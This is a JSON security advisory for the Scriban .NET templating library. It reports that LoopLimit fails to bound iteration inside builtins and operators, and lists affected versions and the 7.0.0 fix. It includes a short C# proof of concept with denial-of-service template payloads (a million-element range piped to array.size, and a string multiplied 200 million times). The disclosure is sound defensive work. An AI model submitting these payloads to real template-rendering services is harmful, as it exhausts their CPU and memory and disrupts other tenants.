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{"schema_version":"1.9.0","id":"GHSA-c875-h985-hvrc","published":"2026-03-24T22:13:08Z","modified":"2026-08-17T03:55:58.622244381Z","aliases":["CVE-2026-74789"],"summary":"Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service","details":"## Summary\n\nScriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value.\n\n## Details\n\nThe relevant code path is:\n\n- `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46.\n- `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()`, not to internal helper iteration.\n- `array.size` in `src/Scriban/Functions/ArrayFunctions.cs` lines 596–609 calls `list.Cast<object>().Count()` for non-collection enumerables.\n- `1..N` creates a `ScriptRange` from `ScriptBinaryExpression.RangeInclude()` in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 745–748.\n- `ScriptRange` then yields every element one by one **without going through `StepLoop()`** in `src/Scriban/Runtime/ScriptRange.cs`.\n\nThis means a single statement can perform arbitrarily large iteration without being stopped by `LoopLimit`.\n\nThere is also a related memory-amplification path in `string * int`:\n\n- `ScriptBinaryExpression.CalculateToString()` appends in a plain `for` loop in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 301–334.\n\n---\n\n## Proof of Concept\n\n### Setup\n\n```bash\nmkdir scriban-poc3\ncd scriban-poc3\ndotnet new console --framework net8.0\ndotnet add package Scriban --version 6.6.0\n```\n\n### `Program.cs`\n\n```csharp\nusing Scriban;\n\nvar template = Template.Parse(\"{{ 1..1000000 | array.size }}\");\n\nvar context = new TemplateContext\n{\n LoopLimit = 1\n};\n\nConsole.WriteLine(template.Render(context));\n```\n\n### Run\n\n```bash\ndotnet run\n```\n\n### Actual Output\n\n```\n1000000\n```\n\n### Expected Behavior\n\nA safety limit of `LoopLimit = 1` should prevent a template from performing one million iterations worth of work.\n\n### Optional Stronger Variant (Memory Amplification)\n\n```csharp\nusing Scriban;\n\nvar template = Template.Parse(\"{{ 'A' * 200000000 }}\");\nvar context = new TemplateContext\n{\n LoopLimit = 1\n};\n\ntemplate.Render(context);\n```\n\nThis variant demonstrates that `LoopLimit` also does not constrain large internal allocation work.\n\n---\n\n## Impact\n\nThis is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on `LoopLimit` as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.\n\nThe issue impacts:\n\n- Template-as-a-service systems\n- CMS or email rendering systems that accept user templates\n- Any multi-tenant use of Scriban with untrusted template content","affected":[{"package":{"name":"scriban","ecosystem":"NuGet","purl":"pkg:nuget/scriban"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.0"}]}],"versions":["0.1.0","0.10.0","0.11.0","0.12.0","0.12.1","0.13.0","0.14.0","0.15.0","0.16.0","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.1-pre028","0.4.0","0.5.0","0.6.0","0.7.0","0.9.0","0.9.0-pre100","0.9.1","1.0.0","1.0.0-beta-001","1.0.0-beta-002","1.0.0-beta-003","1.0.0-beta-004","1.0.0-beta-005","1.0.0-beta-006","1.1.0","1.1.1","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","2.0.0","2.0.0-alpha-001","2.0.0-alpha-002","2.0.0-alpha-003","2.0.0-alpha-004","2.0.0-alpha-005","2.0.0-alpha-006","2.0.1","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.1.0","3.2.0","3.2.1","3.2.2","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","3.5.0","3.6.0","3.7.0","3.8.0","3.8.1","3.8.2","3.9.0","4.0.0","4.0.1","4.0.2","4.1.0","5.0.0","5.1.0","5.10.0","5.11.0","5.12.0","5.12.1","5.2.0","5.3.0","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.4.5","5.4.6","5.5.0","5.5.1","5.5.2","5.6.0","5.7.0","5.8.0","5.9.0","5.9.1","6.0.0","6.1.0","6.2.0","6.2.1","6.3.0","6.4.0","6.5.0","6.5.1","6.5.2","6.5.3","6.5.4","6.5.5","6.5.6","6.5.7","6.5.8","6.6.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-c875-h985-hvrc/GHSA-c875-h985-hvrc.json"}},{"package":{"name":"Scriban.Signed","ecosystem":"NuGet","purl":"pkg:nuget/Scriban.Signed"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.0"}]}],"versions":["0.10.0","0.11.0","0.12.0","0.12.1","0.13.0","0.14.0","0.15.0","0.16.0","0.9.0","0.9.1","1.0.0","1.0.0-beta-001","1.0.0-beta-002","1.0.0-beta-003","1.0.0-beta-004","1.0.0-beta-005","1.0.0-beta-006","1.1.0","1.1.1","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","2.0.0","2.0.0-alpha-001","2.0.0-alpha-002","2.0.0-alpha-003","2.0.0-alpha-004","2.0.0-alpha-005","2.0.0-alpha-006","2.0.1","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.1.0","3.2.0","3.2.1","3.2.2","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","3.5.0","3.6.0","3.7.0","3.8.0","3.8.1","3.8.2","3.9.0","4.0.0","4.0.1","4.0.2","4.1.0","5.0.0","5.1.0","5.10.0","5.11.0","5.12.0","5.12.1","5.2.0","5.3.0","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.4.5","5.4.6","5.5.0","5.5.1","5.5.2","5.6.0","5.7.0","5.8.0","5.9.0","5.9.1","6.0.0","6.1.0","6.2.0","6.2.1","6.3.0","6.4.0","6.5.0","6.5.1","6.5.2","6.5.3","6.5.4","6.5.5","6.5.6","6.5.7","6.5.8","6.6.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-c875-h985-hvrc/GHSA-c875-h985-hvrc.json"}}],"references":[{"type":"WEB","url":"https://github.com/scriban/scriban/security/advisories/GHSA-c875-h985-hvrc"},{"type":"PACKAGE","url":"https://github.com/scriban/scriban"}],"database_specific":{"cwe_ids":["CWE-400"],"github_reviewed":true,"github_reviewed_at":"2026-03-24T22:13:08Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} |